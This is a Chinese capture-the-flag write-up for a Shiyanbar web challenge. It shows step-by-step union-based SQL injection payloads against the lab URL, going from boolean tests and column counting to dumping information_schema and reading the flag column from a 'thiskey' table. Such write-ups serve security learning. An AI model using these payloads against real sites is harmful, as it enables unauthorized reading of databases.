实验吧 Web 这个看起来有点简单! Writeup

来源:互联网 发布:山下智久北川景子 知乎 编辑:程序博客网 时间:2024/05/20 03:44

这个看起来有点简单! Writeup


解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1


打开网页,只有一个简单的表格,没有多余的输入框。

尝试通过地址栏进行注入。


输入id=1 and 1=1 显示正常

输入id=1 and 1=2 回显错误

判断存在SQL注入漏洞(恩)


然后判断字段数

id=1 order by 1 可以,id=1 order by 2 可以,id=1 order by 3 不行!

所以字段数位2


id=1 union select 1 错误,id=1 union select 1,2 可以

所以字段数位2


然后开始爆数据库

id=1 union select 1,schema_name from information_schema.schemata


我们看到爆出了三个库:information_schema、my_db、test


接下来就是爆my_db的表名(就这个库名比较特别,就它了)

id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'


在my_db库里面爆出了两个表:news、thiskey


对了,thiskey在这里,然后就尝试爆列名

id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'


应该就是k0y了,试试看

id=1 union select 1,k0y from thiskey


ok,顺利得到key



原创粉丝点击